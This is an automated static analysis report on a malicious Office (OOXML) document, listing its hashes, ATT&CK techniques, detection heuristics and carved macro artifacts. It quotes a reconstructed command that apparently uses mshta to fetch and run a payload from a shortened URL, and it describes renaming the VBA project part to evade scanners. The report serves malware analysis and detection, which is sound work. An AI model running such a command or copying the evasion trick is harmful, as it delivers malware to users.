Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 1f41c9c17a911583…

MALICIOUS

Office (OOXML)

9.2 KB
MD5: bb243b6cc1ff85f1d2dde5847388d1d4 SHA-1: 586d4378e0fac95218a47c042bec7be1a5ce687d SHA-256: 1f41c9c17a9115837d337739c24f124a6bea1978fdf27114da6d6ed5180f60eb
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The OOXML document contains a VBA macro with an Auto_Open subroutine, which is a common technique for initial execution. The macro constructs a command string by concatenating literals to form 'cmd msgbox/rmsh ta https://www.bitly.com/asdoaokowdldw'. This command likely attempts to download and execute a payload from the specified URL. The use of Auto_Open and ShellExecute indicates a high likelihood of malicious intent.

Heuristics 5

  • VBA project part renamed to evade filename detection high OOXML_VBA_PROJECT_RENAMED
    The VBA project is bound through the OOXML relationship/content type but its part is not named vbaProject.bin. Legitimate Office producers always emit vbaProject.bin; renaming it hides the macros from path-only scanners (observed in the SVCReady loader).
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • VBA project inside OOXML medium OOXML_VBA
    Document contains a VBA project — VBA macros present (project part renamed away from vbaProject.bin: ppt/masdaod.b)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.bitl

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas
bbc1784d7e7143e9d7a48af0fb18d717332ff19f0b644ce10167313bc3206600		 vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 727 bytes
vbaProject_00.bin
fbd748df9c92710813c2836af180a7d8f80defccb873f5c22a805981bf979e01		 vba-project OOXML VBA project: ppt/masdaod.b 19968 bytes

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